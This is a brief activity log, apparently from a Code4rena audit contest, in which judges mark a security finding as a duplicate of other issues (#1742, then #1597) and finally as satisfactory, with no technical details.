2023-11-26T14:00:09Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-11-29T19:54:38Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-11-29T19:55:16Z
alex-ppg marked the issue as duplicate of #1597
#4 - c4-judge
2023-12-08T21:26:58Z
alex-ppg marked the issue as satisfactory